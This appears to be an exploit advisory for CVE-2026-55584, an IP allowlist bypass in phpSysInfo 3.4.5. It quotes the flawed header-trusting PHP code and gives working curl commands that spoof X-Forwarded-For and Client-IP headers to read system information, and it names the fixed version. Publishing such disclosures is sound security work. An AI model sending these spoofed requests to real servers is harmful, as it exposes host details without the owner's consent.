# Exploit Title: phpSysInfo 3.4.5 - IP Allowlist Bypass # Google Dork: N/A # Date: 2026-07-11 # Exploit Author: Muhammed Mirac Kayikci # Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/ # Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz # Version: <= 3.4.5 # Tested on: Linux (Apache/PHP) # CVE : CVE-2026-55584 References: ----------- GHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh CVE: https://www.cve.org/CVERecord?id=CVE-2026-55584 Description: ------------ phpSysInfo's PSI_ALLOWED IP allowlist resolves the client IP from the attacker-controlled "X-Forwarded-For" (then "Client-IP") request headers before falling back to REMOTE_ADDR. There is no trusted-proxy concept, so an attacker can spoof an allowed IP address, defeat the allowlist, and read full system information exposed via xml.php. Vulnerable code (read_config.php): ---------------------------------- if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } elseif (isset($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } else { $ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last } Proof of Concept: ----------------- # Allowlist set to an address the attacker does not own (ALLOWED=8.8.8.8) # 1) Baseline - request is blocked: curl -s http://target/xml.php # -> "Client IP address (...) not allowed." # 2) Bypass via X-Forwarded-For - returns full system XML: curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # 3) Bypass via Client-IP - returns full system XML: curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php Fix: ---- Fixed in 3.4.6 (commit 019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For / Client-IP only from configured trusted proxies.